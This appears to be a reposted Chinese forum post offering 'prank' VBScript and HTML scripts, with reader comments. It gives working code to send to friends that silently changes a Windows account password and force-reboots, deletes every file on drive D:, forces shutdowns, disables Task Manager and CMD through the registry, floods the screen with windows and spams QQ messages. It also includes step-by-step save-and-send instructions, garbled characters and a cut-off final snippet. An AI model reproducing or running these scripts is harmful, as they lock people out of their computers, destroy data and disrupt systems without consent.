很簡單啊!你先打開記事本,輸入文字:
On Error Resume Next
Dim fso,ws,file,shut,password
password=""
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True
ws.run shut & " /r /f /t 0",0
接著,找到第三行password="",然后在等于號后面的雙引號中輸入你想更改別人電腦的密碼,例如你要把別人的電腦密碼更改成123就把第三行變成password="123".
最后,你單擊上面工具列的"檔案">"另存為".在打開的對話框中選擇好你要保存檔案的路徑,然后在"檔案名"中輸入*.vbs(*為你需要的任意名字),在"保存型別"中選擇"所有檔案".最后在"編碼"中選擇"ANSI".最后按下"保存"按鈕~呵呵~你就把這個保存的檔案通過QQ,郵件等方式發給你要改密碼的那個人吧~：O0Il1《（{】￥··..…}）》4?R6齌
一、你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發送QQ資訊到好友的次數(代碼里的數字10改一下即可).
xx.vbs=>
復制代碼 代碼如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ騷擾資訊,也可以用在其它程式上。
二、我就用這個程式放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打開無數個計算器，直到死機
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接關機
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、洗掉D:\所有檔案
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不斷彈出視窗
----------------------------------------------------------------------------
復制代碼 代碼如下:
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
七、不斷按下alt+f4 （開什么都關閉……）
---------------------------------------------------------------------------
復制代碼 代碼如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回車
(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)
復制代碼 代碼如下:
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------
九、關不掉的視窗
復制代碼 代碼如下:
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎么才來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("小強很生氣，后果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你作業。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，以后就看不到我拉。555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，洗掉我你就好嗎？")
WScript.Echo("還剩4下！真要洗掉我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
WScript.Echo("想結素我么?那你就再多點一次")
兩個整人的VBS腳本2009-07-16 18:16
文章錄入：7747.Net 責任編輯：7747.Net 564
【字體：小 大】
測驗環境：Windows 2003 系統
大家好 我是Vanlisa QQ137841986
今天給大家帶來兩個整人的VBS腳本 希望大家喜歡
VBS腳本大家都知道吧 第一個是定時關機的
如果把他發給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設定的
時間內關機 我設定的是3分鐘 只要輸入就解除了 當然如果不輸的話也有解除的辦法
我們來看下這個腳本
復制代碼 代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
新建一個記事本 把上面的代碼復制進去 另存為VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
這里的數字可以修改關機時間 180秒
這些文字也可以自設 這個腳本啟用cmd 里的關機程式
如果不輸的的話 可以打開任務管理器 輸入shutdown -a 來解除 我們試下 這時定時關機已
經沒了 但是還有個關不掉的視窗 我們打開任務管理器 結束掉Wscript.exe 這個行程就OK
了 這時就完全解除這個腳本了 Wscript 時Windows 腳本宿主
-------------------------------------------------------------------------------------------
下面看第二個整人的腳本
-------------------------------------------------------------------------------------------
復制代碼 代碼如下:
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框里輸入我是豬,否則后果自負，快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山里有個廟.",4096+64
MsgBox"廟里有個老和尚在講故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最后問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
這段代碼可以改成你自己設定的地址
如果別人不輸我是豬的話就會一直點下去 點到你設定的數字
for i=1 to 100
從1到100
可以改成 20 其他的數字
解除這個VBS腳本的辦法就簡單了 只是關掉任務管理器里Wscript.exe
這個行程就好了
BY：7747.net
2009QQ整人代碼
復制代碼 代碼如下:
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統將在"& 60-i &"秒后關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]復制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBE格式，
此代碼的威力：
1：開機就強制自動關機
2：cmd命令打不開
3：結束任務不管用
4：F8安全模式也不管用
呵呵！聽起來是不是有點恐怖啊，我在我朋友空間里看見也嚇了一跳、
代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE檔案，，
PS：不要亂拿軟體去整人，發生什么事可不要怪我啊。。
拍拍手 頂起吧!
2：
復制代碼 代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "寶寶，我是天下第一大傻B")
a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"
這代碼是我從朋友那拿來的，大家可以試著玩下、你能做非法事情哦、
網頁整人效果代碼
想看效果，只要復制這下面的所有代碼保存在text檔案里，修改檔案后綴為txt就能看到效果了。
復制代碼 代碼如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>網頁特效|Linkweb.cn/Js|---很惡心的常見整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('為什么把滑鼠放到這里?');
alert('我不是說過不可以這樣嗎？');
alert('你把我的話當什么了？');
alert('你知道錯了嗎？');
alert('什么？你居然....');
alert('居然還沒意識到自己做錯了？');
alert('那好，你要為此付出代價!');
alert('我要你在這里點足一千下......');
alert('什么？你開始有點后悔了？');
alert('何必呢？');
alert('你當初干什么去了？');
alert('不原諒你！');
alert('好從現在開始再點995下......');
alert('你的手開始累了嗎?');
alert('什么？你已經沒力氣了？');
alert('你一直在求我原諒你啊！');
alert('看來你是真的知道錯了!');
alert('下次你還會這么做嗎？');
alert('真的不會了？');
alert('那好，今天就放你一馬！');
alert('寫封信給我說聲對不起!');
alert('你能這么做我很高興!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=對不起,下次不敢了!';">不許把滑鼠移到這里</a>
嘻試吧爽噢。。
</body>
</html>
vbs整人代碼
代碼如下：
復制代碼 代碼如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'宣告變數，其中“count”為靜態變數，以便生成不同的檔案
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的檔案存放在那個目錄檔案下
c = "C:\Program Files\"
'生成檔案的內容
uj5u.com熱心網友回復：
目測頭像是樓主本人，而不是曬娃。覺得CSDN應該限制未成年人訪問。
……
至少要16歲吧
……
uj5u.com熱心網友回復：
樓主小朋友剛接觸編程，樓上不要打擊他的積極性uj5u.com熱心網友回復：
不管怎么說，謝謝lz的分享，給你推薦下，有c幣獎勵。
uj5u.com熱心網友回復：
樓主過年不打游戲嗎，一看就是可造之材啊哈哈哈uj5u.com熱心網友回復：
好多啊，可以和好友開個玩笑uj5u.com熱心網友回復：
累不累啊 的
uj5u.com熱心網友回復：
文章不錯很好uj5u.com熱心網友回復：
整倒一批人，可以使用使用uj5u.com熱心網友回復：
有幾個是破壞性的，你們還真鼓掌叫好？uj5u.com熱心網友回復：
好東西，下載學習了uj5u.com熱心網友回復：
https://blog.csdn.net/weixin_39886407/article/details/87206034uj5u.com熱心網友回復：
不打游戲的少年是好少年uj5u.com熱心網友回復：
uj5u.com熱心網友回復：
好東西，下載學習了uj5u.com熱心網友回復：
可以沒毛病，剛開始還以為是bat呢uj5u.com熱心網友回復：
好像也就能欺負不會的小白，會一點一眼看出去!!!!!!!!!uj5u.com熱心網友回復：
可以研究一下，但是不要輕易嘗試
uj5u.com熱心網友回復：
不錯，謝謝分享！uj5u.com熱心網友回復：
任務管理器里結束vbs，so easyuj5u.com熱心網友回復：
目測全是網上找的。。。uj5u.com熱心網友回復：
厲害??????????????厲害uj5u.com熱心網友回復：
誰懂尾氣分析儀串口？uj5u.com熱心網友回復：
先回復再看
uj5u.com熱心網友回復：
這些有啥用？uj5u.com熱心網友回復：
改密碼那個是假的吧uj5u.com熱心網友回復：
那個改密碼的代碼，是不是不支持win10啊。win10只重啟了，密碼沒變啊uj5u.com熱心網友回復：
不錯，學習了uj5u.com熱心網友回復：
看著都要笑了，哈哈哈哈哈。轉載請註明出處，本文鏈接：https://www.uj5u.com/gongcheng/10442.html
標籤：VB基礎類